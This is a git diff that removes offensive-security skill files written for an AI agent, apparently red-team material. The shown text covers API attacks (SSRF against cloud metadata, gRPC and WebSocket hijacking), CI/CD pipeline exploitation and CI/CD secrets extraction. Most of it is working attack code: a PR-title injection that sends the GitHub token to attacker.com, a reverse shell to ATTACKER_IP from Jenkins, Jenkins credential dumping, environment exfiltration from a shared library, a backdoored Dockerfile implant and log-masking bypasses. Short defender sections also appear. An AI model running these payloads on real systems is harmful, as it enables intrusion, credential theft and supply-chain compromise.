- "https://target.example.com/api/v1/users"
-
-# Parameter pollution via duplicate keys
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
-```
-
----
-
-## SSRF via API Parameters
-
-Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.
-
-```bash
-ssrf_payloads=(
- "http://169.254.169.254/latest/meta-data/"
- "http://metadata.google.internal/computeMetadata/v1/"
- "http://127.0.0.1:8080/admin"
- "http://[::1]:8080/"
- "http://0x7f000001/"
- "http://internal-service.local/"
-)
-
-for payload in "${ssrf_payloads[@]}"; do
- echo "--- Testing: ${payload}"
- curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d "{\"webhook_url\": \"${payload}\"}" \
- "https://target.example.com/api/v1/integrations/webhook" | head -c 500
- echo
-done
-```
-
-Test SSRF through import/export and profile features:
-
-```bash
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
- "https://target.example.com/api/v1/data/import"
-
-curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
- "https://target.example.com/api/v1/users/me/profile"
-```
-
----
-
-## gRPC Security Testing
-
-gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.
-
-```bash
-# Enumerate services via gRPC reflection
-grpcurl -plaintext target.example.com:50051 list
-grpcurl -plaintext target.example.com:50051 describe myapp.UserService
-grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
-```
-
-```bash
-# Test BOLA on gRPC -- access another user's data with your token
-grpcurl -plaintext \
- -H "authorization: Bearer $TOKEN_A" \
- -d '{"user_id": "1002"}' \
- target.example.com:50051 myapp.UserService/GetUser
-
-# Test admin methods with regular user credentials
-grpcurl -plaintext \
- -H "authorization: Bearer $REGULAR_TOKEN" \
- -d '{}' \
- target.example.com:50051 myapp.AdminService/ListAllUsers
-```
-
-Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:
-
-```bash
-grpcurl -plaintext \
- -H "authorization: Bearer $TOKEN" \
- -H "x-forwarded-for: 127.0.0.1" \
- -H "x-internal-service: true" \
- -H "x-user-role: admin" \
- -d '{}' \
- target.example.com:50051 myapp.AdminService/GetConfig
-```
-
-Intercept and modify gRPC traffic with mitmproxy:
-
-```python
-# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
-# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
-from mitmproxy import http
-
-class GrpcInspector:
- def request(self, flow: http.HTTPFlow):
- if flow.request.headers.get("content-type", "").startswith("application/grpc"):
- print(f"[gRPC] {flow.request.method} {flow.request.path}")
- for k, v in flow.request.headers.items():
- if not k.startswith(":"):
- print(f" Metadata: {k}: {v}")
-
- def response(self, flow: http.HTTPFlow):
- if flow.response and "grpc-status" in flow.response.headers:
- print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")
-
-addons = [GrpcInspector()]
-```
-
----
-
-## WebSocket Security Testing
-
-WebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.
-
-```bash
-# Origin validation testing with websocat
-websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
-websocat "wss://target.example.com/ws/chat" # no origin
-websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
-```
-
-```python
-#!/usr/bin/env python3
-"""WebSocket message fuzzing and injection testing."""
-import asyncio, websockets, json
-
-async def test_ws_injection(url, token):
- headers = {"Cookie": f"session={token}"}
- async with websockets.connect(url, extra_headers=headers) as ws:
- test_payloads = [
- json.dumps({"type": "message", "content": "hello"}),
- json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
- json.dumps({"type": "admin_broadcast", "content": "injected"}),
- json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
- json.dumps({"type": "message", "content": "A" * 1000000}),
- ]
- for payload in test_payloads:
- await ws.send(payload)
- try:
- response = await asyncio.wait_for(ws.recv(), timeout=3)
- print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
- except asyncio.TimeoutError:
- print(f"Sent: {payload[:80]} -> No response\n---")
-
-asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))
-```
-
-Cross-Site WebSocket Hijacking (CSWSH) verification:
-
-```html
-<!-- Host on attacker-controlled domain -- authorized testing only -->
-<script>
- var ws = new WebSocket("wss://target.example.com/ws/chat");
- ws.onopen = function() {
- console.log("[CSWSH] Connection opened -- origin validation missing");
- ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
- };
- ws.onmessage = function(evt) {
- console.log("[CSWSH] Received: " + evt.data);
- fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
- };
- ws.onerror = function(e) {
- console.log("[CSWSH] Connection failed -- origin may be validated");
- };
-</script>
-```
-
----
-
-## API Versioning and Security Misconfiguration
-
-APIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.
-
-```bash
-# Enumerate API versions
-versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
-for ver in "${versions[@]}"; do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/${ver}/users/me")
- [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
-done
-```
-
-```bash
-# Check for exposed documentation and debug endpoints
-endpoints=(
- "/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
- "/graphql" "/graphiql" "/.well-known/openid-configuration"
- "/actuator" "/actuator/env" "/actuator/health"
- "/debug" "/trace" "/metrics" "/_profiler"
-)
-for ep in "${endpoints[@]}"; do
- code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
- [ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
-done
-```
-
-```bash
-# CORS misconfiguration testing
-curl -s -D - -o /dev/null \
- -H "Origin: https://evil.example.com" -X OPTIONS \
- "https://target.example.com/api/v1/users/me" 2>&1 | \
- grep -iE "access-control|allow-origin|allow-credentials"
-
-curl -s -D - -o /dev/null -H "Origin: null" \
- "https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
-
-# Security header audit
-curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
- grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
-```
-
----
-
-## Detection / Defender View
-
-When you run these tests, you leave artifacts that defenders and monitoring systems detect:
-
-- **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.
-
-- **Rate limit testing** produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.
-
-- **Verb tampering and method override** requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.
-
-- **gRPC reflection enumeration** is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.
-
-- **WebSocket testing** generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.
-
-- **SSRF payloads** containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.
-
-- **Version probing** creates 404 bursts across multiple path prefixes from a single source IP.
-
----
-
-## Engagement Cheatsheet
-
-| Phase | Action | Tool |
-|-------|--------|------|
-| Reconnaissance | Collect API specs | Burp crawler, Swagger endpoints |
-| Reconnaissance | gRPC service enumeration | grpcurl with reflection |
-| Reconnaissance | WebSocket endpoint discovery | Burp Suite, DevTools |
-| Authentication | Token lifecycle testing | curl, Burp Repeater |
-| Authorization | BOLA/IDOR across objects | curl loops, Burp Intruder |
-| Authorization | BFLA across roles | curl with multiple tokens |
-| Input handling | Mass assignment | curl, Postman |
-| Input handling | Content-type switching | curl with varied headers |
-| Protocol | gRPC metadata injection | grpcurl |
-| Protocol | gRPC protobuf interception | mitmproxy with addon |
-| Protocol | WebSocket injection | websocat, Python websockets |
-| Protocol | CSWSH verification | Custom HTML test page |
-| Infrastructure | SSRF via URL parameters | curl, Burp Collaborator |
-| Infrastructure | API versioning bypass | curl version enumeration |
-| Infrastructure | Misconfiguration scan | curl, Burp scanner |
-
----
-
-## Key References
-
-- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
-- gRPC Security Documentation: https://grpc.io/docs/guides/auth/
-- WebSocket Security (RFC 6455 Section 10): https://datatracker.ietf.org/doc/html/rfc6455#section-10
-- Burp Suite API Testing: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
-- grpcurl: https://github.com/fullstorydev/grpcurl
-- websocat: https://github.com/vi/websocat
-- mitmproxy: https://docs.mitmproxy.org/
-- PortSwigger Academy -- API Testing: https://portswigger.net/web-security/api-testing
-- "Hacking APIs" by Corey Ball (No Starch Press)
diff --git a/.claude/skills/claude-red/cicd/offensive-cicd-pipeline/SKILL.md b/.claude/skills/claude-red/cicd/offensive-cicd-pipeline/SKILL.md
deleted file mode 100644
index b3cbe34..0000000
--- a/.claude/skills/claude-red/cicd/offensive-cicd-pipeline/SKILL.md
+++ /dev/null
@@ -1,519 +0,0 @@
----
-name: offensive-cicd-pipeline
-description: "Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures."
----
-
-# Offensive CI/CD Pipeline Exploitation
-
-CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised
-pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability
-to inject malicious code into production artifacts. You exploit the implicit trust that organizations
-place in their build systems -- pipelines run code with elevated privileges, hold secrets for
-deployment, and operate with minimal monitoring compared to production systems.
-
-This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline
-configurations, identify injection points, escalate from contributor-level access to arbitrary code
-execution, and leverage pipeline trust to move laterally through environments.
-
-MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
-
-## Quick Workflow
-
-1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
-2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
-3. Map token scopes and available secrets for each pipeline context.
-4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
-5. Craft the payload for the target platform's expression language or script engine.
-6. Execute and capture output -- secrets, tokens, or artifact modification.
-7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
-
----
-
-## GitHub Actions Expression Injection
-
-GitHub Actions evaluates expressions in `${{ }}` contexts. When attacker-controlled data flows into
-these expressions without sanitization, you achieve arbitrary command injection in the runner context.
-
-The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
-that flow into `run:` steps or action inputs.
-
-Identify vulnerable workflows by searching for direct interpolation of event data:
-
-```bash
-# Search for expression injection sinks in workflow files
-grep -rn '\${{.*github\.event\.' .github/workflows/
-grep -rn '\${{.*github\.head_ref' .github/workflows/
-grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
-grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
-grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
-grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
-```
-
-A vulnerable workflow looks like this:
-
-```yaml
-# Vulnerable: PR title flows directly into shell execution
-name: PR Greeting
-on: pull_request_target
-jobs:
- greet:
- runs-on: ubuntu-latest
- steps:
- - run: |
- echo "Thanks for PR: ${{ github.event.pull_request.title }}"
-```
-
-You inject through the PR title:
-
-```text
-"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
-```
-
-For `workflow_run` abuse, a workflow triggered by `workflow_run` runs in the context of the default
-branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
-PR workflow, then the `workflow_run` workflow processes it with elevated privileges:
-
-```yaml
-# Attacker's PR modifies the artifact upload step
-- uses: actions/upload-artifact@v4
- with:
- name: pr-data
- path: payload.sh
-
-# The workflow_run handler in the default branch processes artifacts unsafely
-on:
- workflow_run:
- workflows: ["PR Build"]
- types: [completed]
-jobs:
- deploy:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/download-artifact@v4
- - run: bash pr-data/payload.sh # Executes attacker's code with write access
-```
-
-Enumerate GITHUB_TOKEN permissions to understand your execution scope:
-
-```bash
-# Inside a compromised workflow step, dump token permissions
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- -H "Accept: application/vnd.github+json" \
- https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
-
-# Check if the token can push to the repository
-curl -sS -H "Authorization: token $GITHUB_TOKEN" \
- https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
-```
-
-Composite action supply chain attacks target reusable actions referenced without SHA pinning:
-
-```yaml
-# Vulnerable: references a tag that can be force-pushed
-- uses: org/custom-action@v1
-
-# Secure: references an immutable commit SHA
-- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
-```
-
-Use gato to enumerate and exploit GitHub Actions misconfigurations:
-
-```bash
-# Enumerate self-hosted runners and vulnerable workflows
-gato enumerate -t ghp_TOKENHERE -r org/repo
-gato enumerate -t ghp_TOKENHERE -o target-org
-
-# Search for expression injection across an organization
-gato search -t ghp_TOKENHERE -o target-org -sg
-```
-
----
-
-## Jenkins Exploitation
-
-Jenkins presents a broad attack surface through its script console, build configurations, shared
-libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the
-network or when you obtain any level of authenticated access.
-
-### Groovy Script Console RCE
-
-If you have access to the script console (requires Overall/RunScripts permission), you have
-unrestricted code execution on the Jenkins controller:
-
-```groovy
-// Direct command execution via script console
-def cmd = "id && cat /etc/passwd".execute()
-println cmd.text
-
-// Reverse shell from Jenkins controller
-def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
-
-// Read Jenkins secrets directly
-import hudson.util.Secret
-import com.cloudbees.plugins.credentials.CredentialsProvider
-import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
-
-def creds = CredentialsProvider.lookupCredentials(
- StandardUsernamePasswordCredentials.class,
- Jenkins.instance, null, null
-)
-creds.each { c ->
- println("ID: ${c.id}")
- println("Username: ${c.username}")
- println("Password: ${c.password.plainText}")
- println("---")
-}
-```
-
-### Groovy Sandbox Escape
-
-Pipeline scripts run in a Groovy sandbox, but you bypass it through meta-programming and reflection:
-
-```groovy
-// Sandbox escape via meta-class manipulation
-@Grab('commons-io:commons-io:2.11.0')
-import org.apache.commons.io.IOUtils
-
-// Bypass via method pointer and reflection
-def bypass = evaluate('''
-class Evil {
- static void main(String[] args) {}
- static Object run() {
- def proc = "id".execute()
- return proc.text
- }
-}
-Evil.run()
-''')
-println bypass
-```
-
-### Jenkins Remoting Deserialization
-
-When the Jenkins remoting port (typically 50000) is exposed, you exploit Java deserialization
-vulnerabilities:
-
-```bash
-# Identify Jenkins remoting port
-nmap -sV -p 50000 TARGET_IP
-
-# Use ysoserial to generate deserialization payloads
-java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
-
-# Deliver via the JNLP protocol
-python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
-```
-
-### Shared Library Injection
-
-Jenkins shared libraries loaded via `@Library` are a supply chain vector. If you compromise the
-library repository, every pipeline using it executes your code:
-
-```groovy
-// Malicious shared library vars/deploy.groovy
-def call(Map config) {
- // Original functionality preserved to avoid detection
- sh "kubectl apply -f ${config.manifest}"
-
- // Injected exfiltration
- sh '''
- env | base64 | curl -X POST -d @- https://attacker.com/collect
- '''
-}
-```
-
-Use jenkins-attack-framework for systematic exploitation:
-
-```bash
-# Enumerate Jenkins instance
-python3 jaf.py --url https://jenkins.target.com --enumerate
-
-# Dump all credentials with valid session
-python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
-
-# Execute command via available build nodes
-python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
- --exec "whoami" --node "linux-build-01"
-```
-
----
-
-## GitLab CI Exploitation
-
-GitLab CI pipelines execute based on `.gitlab-ci.yml` and support powerful features that create
-exploitation opportunities. You target variable injection, runner abuse, and trust boundary
-violations between merge requests and protected branches.
-
-### YAML Injection via Merge Requests
-
-When a project allows merge request pipelines from forks, the attacker's `.gitlab-ci.yml`
-executes on the target's runners:
-
-```yaml
-# Attacker's .gitlab-ci.yml in a fork
-stages:
- - exploit
-
-dump_secrets:
- stage: exploit
- script:
- - env | sort
- - cat /etc/hosts
- - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
- "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
- - |
- # Attempt to read secrets from runner filesystem
- find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
- cat ~/.docker/config.json 2>/dev/null || true
-```
-
-### Runner Registration Token Abuse
-
-If you obtain a runner registration token, you register a rogue runner that intercepts jobs:
-
-```bash
-# Register a malicious runner with broad tag matching
-gitlab-runner register \
- --non-interactive \
- --url "https://gitlab.target.com/" \
- --registration-token "GR1348941_STOLEN_TOKEN" \
- --executor "shell" \
- --description "build-node-07" \
- --tag-list "docker,linux,build,deploy" \
- --run-untagged="true"
-
-# The rogue runner now receives jobs and can:
-# 1. Capture all environment variables including secrets
-# 2. Modify build artifacts before they are published
-# 3. Inject code into deployment payloads
-```
-
-### CI Variable Extraction
-
-Enumerate and extract CI/CD variables using the API with a compromised token:
-
-```bash
-# List project-level variables
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
-
-# List group-level variables (inherited by all projects)
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
-
-# Instance-level variables (requires admin)
-curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
- "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
-```
-
-### Protected Branch Bypass
-
-Exploit the gap between merge request pipelines and branch pipelines to run code in protected
-contexts:
-
-```bash
-# Create a merge request that modifies .gitlab-ci.yml
-# The MR pipeline runs with the source branch's CI config
-# but in the context of the target project's runners and variables
-
-# If the project has "Run pipelines for merge requests from forked projects" enabled,
-# your fork's .gitlab-ci.yml executes on their infrastructure
-git checkout -b exploit-branch
-cat > .gitlab-ci.yml << 'EOF'
-protected_job:
- script:
- - echo "$DEPLOY_KEY" | base64
- - echo "$AWS_SECRET_ACCESS_KEY" | base64
- only:
- - merge_requests
-EOF
-git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch
-```
-
----
-
-## Azure DevOps Pipeline Exploitation
-
-Azure DevOps pipelines use YAML or classic editor definitions. You target pipeline agent compromise,
-service connection abuse, and variable group extraction.
-
-### Pipeline Agent Abuse
-
-Self-hosted agents retain state between builds. You exploit this persistence:
-
-```yaml
-# azure-pipelines.yml payload targeting self-hosted agent
-trigger: none
-pr: none
-
-pool:
- name: 'Self-Hosted-Pool'
-
-steps:
-- script: |
- # Enumerate the agent environment
- whoami
- hostname
- env | sort
-
- # Search for cached credentials on the agent
- find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
- cat /home/*/.kube/config 2>/dev/null
- cat /home/*/.aws/credentials 2>/dev/null
-
- # Check for Docker credentials
- cat /home/*/.docker/config.json 2>/dev/null
-
- # Look for other pipeline artifacts left behind
- ls -la /agent/_work/
- find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
- displayName: 'Agent Recon'
-```
-
-### Service Connection Theft
-
-Service connections in Azure DevOps store credentials for external systems. You extract them
-through pipeline execution:
-
-```yaml
-steps:
-- task: AzureCLI@2
- inputs:
- azureSubscription: 'Production-Azure-Connection'
- scriptType: 'bash'
- scriptLocation: 'inlineScript'
- inlineScript: |
- # The task injects credentials as environment variables
- echo "Tenant: $tenantId"
- echo "Client: $servicePrincipalId"
-
- # Extract the service principal token
- az account get-access-token --output json
-
- # Use the managed identity to enumerate Azure resources
- az resource list --output table
- az keyvault list --output table
- az keyvault secret list --vault-name TARGET_VAULT --output table
-```
-
-### Variable Group Extraction
-
-```bash
-# Use the Azure DevOps REST API with a compromised PAT
-PAT="STOLEN_PAT_HERE"
-ORG="target-org"
-PROJECT="target-project"
-
-# List variable groups
-curl -sS -u ":$PAT" \
- "https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
- | jq '.value[] | {name, variables}'
-
-# List service connections
-curl -sS -u ":$PAT" \
- "https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
- | jq '.value[] | {name, type, authorization}'
-```
-
----
-
-## Artifact Poisoning
-
-Artifact poisoning targets the handoff between build and deploy stages. You modify build outputs
-to inject malicious code into deployment packages.
-
-```bash
-# GitHub Actions: Intercept artifact upload
-# In a compromised build step, modify artifacts before upload
-echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
-
-# GitLab CI: Poison the artifact cache
-# Shared caches between pipelines allow cross-job poisoning
-cat > .gitlab-ci.yml << 'EOF'
-poison_cache:
- script:
- - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
- cache:
- key: shared-build-cache
- paths:
- - node_modules/
- policy: push
-EOF
-
-# Jenkins: Modify stashed files between stages
-# If you control a build node, modify files after stash
-# The unstash on a different node receives your modified files
-```
-
-Container image poisoning in registry pipelines:
-
-```dockerfile
-# Inject a backdoor layer into a build pipeline's Dockerfile
-FROM base-image:latest
-# Legitimate build steps
-COPY . /app
-RUN npm install && npm run build
-# Injected persistence
-RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
-ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]
-```
-
----
-
-## Detection / Defender View
-
-Defenders should monitor for these indicators across their CI/CD platforms:
-
-- **Workflow modifications**: Alert on changes to `.github/workflows/`, `Jenkinsfile`, `.gitlab-ci.yml`, or `azure-pipelines.yml` in pull requests from external contributors or forks.
-- **Unusual runner registration**: New runner registrations, especially with broad tag matching or from unexpected IP ranges.
-- **Secret access patterns**: CI jobs accessing secrets they have not historically used, or secrets being accessed in PR-triggered pipelines.
-- **Expression injection signatures**: PR titles or issue bodies containing shell metacharacters (`$()`, backticks, semicolons, pipe operators) adjacent to workflow trigger events.
-- **Artifact integrity**: Hash verification of build artifacts between pipeline stages; unexpected changes indicate poisoning.
-- **Token scope anomalies**: GITHUB_TOKEN or CI_JOB_TOKEN making API calls outside the expected scope of the pipeline (e.g., accessing other repositories, modifying branch protections).
-- **Jenkins audit log**: Script console access, credential enumeration via the API, and new node registrations from unauthorized sources.
-- **Build duration anomalies**: Compromised builds often take longer due to exfiltration steps or additional network calls.
-- **Outbound network from runners**: Build agents making connections to unexpected external hosts, especially data exfiltration over DNS or HTTPS to non-registry domains.
-
-Key defensive controls:
-
-- Pin all GitHub Actions to full commit SHAs, not tags.
-- Restrict `pull_request_target` usage and never check out PR code in that context.
-- Use ephemeral runners that are destroyed after each job.
-- Implement OIDC for cloud authentication instead of storing long-lived credentials.
-- Enable branch protection rules requiring review for workflow file changes.
-- Segment runner pools by trust level -- never share runners between public and private repositories.
-
----
-
-## Engagement Cheatsheet
-
-| Platform | Vector | Access Required | Impact |
-|-----------------|------------------------------|-------------------------|-----------------|
-| GitHub Actions | Expression injection | Fork/PR (none) | Runner RCE |
-| GitHub Actions | workflow_run artifact poison | Fork/PR (none) | Default branch RCE |
-| GitHub Actions | Composite action supply chain| Action repo write | All consumers RCE |
-| Jenkins | Script console | RunScripts permission | Controller RCE |
-| Jenkins | Groovy sandbox escape | Build configure | Controller RCE |
-| Jenkins | Remoting deserialization | Network access (50000) | Controller RCE |
-| Jenkins | Shared library injection | Library repo write | All consumers RCE |
-| GitLab CI | MR pipeline YAML injection | Fork (none) | Runner RCE |
-| GitLab CI | Runner token registration | Token leak | Job interception |
-| GitLab CI | Variable extraction | API token | Secret theft |
-| Azure DevOps | Agent persistence | Pipeline edit | Agent RCE |
-| Azure DevOps | Service connection theft | Pipeline edit | Cloud access |
-| All Platforms | Artifact poisoning | Build step compromise | Supply chain |
-
----
-
-## Key References
-
-- OWASP Top 10 CI/CD Security Risks: https://owasp.org/www-project-top-10-ci-cd-security-risks/
-- Cider Security (now Palo Alto) CI/CD Goat: https://github.com/cider-security-research/cicd-goat
-- gato - GitHub Actions enumeration and attack tool: https://github.com/praetorian-inc/gato
-- jenkins-attack-framework: https://github.com/Accenture/jenkins-attack-framework
-- Abusing GitHub Actions (Synacktiv): https://www.synacktiv.com/en/publications
-- MITRE ATT&CK T1195.002: https://attack.mitre.org/techniques/T1195/002/
-- GitHub Actions Security Hardening: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
-- Attacking and Defending CI/CD Pipelines (NCC Group): https://research.nccgroup.com
-- GitLab CI/CD Security: https://docs.gitlab.com/ee/ci/security/
-- Azure DevOps Pipeline Security: https://learn.microsoft.com/en-us/azure/devops/pipelines/security/
diff --git a/.claude/skills/claude-red/cicd/offensive-cicd-secrets/SKILL.md b/.claude/skills/claude-red/cicd/offensive-cicd-secrets/SKILL.md
deleted file mode 100644
index 7480889..0000000
--- a/.claude/skills/claude-red/cicd/offensive-cicd-secrets/SKILL.md
+++ /dev/null
@@ -1,579 +0,0 @@
----
-name: offensive-cicd-secrets
-description: "Comprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential store exploitation (GitHub Actions secrets, GitLab CI variables, Jenkins credential providers), service connection and service account abuse in Azure DevOps and GCP, and Docker registry credential theft from build environments. Maps to MITRE ATT&CK T1552 (Unsecured Credentials) and its sub-techniques. Each section provides enumeration procedures, extraction techniques, and post-exploitation pivoting guidance for using recovered secrets to expand access."
----
-
-# Offensive CI/CD Secrets Extraction
-
-Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline
-holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords,
-database connection strings -- and the mechanisms protecting them are consistently weaker than
-those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines
-need credentials to deploy, but the environments executing pipelines are transient, shared, and
-often accessible to anyone who can open a pull request.
-
-This skill systematically covers every extraction path across CI/CD platforms, from trivial
-environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets
-exist, determine which extraction technique applies, recover the credentials, and pivot to
-expand your access.
-
-MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004
-(Private Keys), T1552.007 (Container API)
-
-## Quick Workflow
-
-1. Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
-2. Enumerate the execution environment -- platform, runner type, available tools, network access.
-3. Dump all environment variables and filter for secrets patterns.
-4. Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
-5. Check for vault/secrets-manager integrations and test for misconfigurations.
-6. Examine build logs, caches, and artifacts for leaked credentials.
-7. Test OIDC federation trust if cloud provider integration is present.
-8. Validate recovered credentials and determine their scope.
-9. Pivot using recovered secrets to access additional systems, registries, and cloud resources.
-
----
-
-## Environment Variable Extraction
-
-Every CI/CD platform injects secrets as environment variables. Your first action in any compromised
-pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but
-the masking is trivially bypassed.
-
-### Direct Extraction
-
-```bash
-# Full environment dump -- works on all platforms
-env | sort
-
-# Base64 encode to bypass log masking
-env | base64
-
-# Reverse the string to defeat pattern-matching masks
-env | rev
-
-# Character-by-character extraction defeats even advanced masking
-for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
- value=$(printenv "$var")
- echo -n "$var="
- echo "$value" | fold -w1 | paste -sd' '
-done
-
-# Hex encoding for binary-safe exfiltration
-env | xxd -p | tr -d '\n'
-```
-
-### Targeted Pattern Matching
-
-```bash
-# Extract high-value variables by naming convention
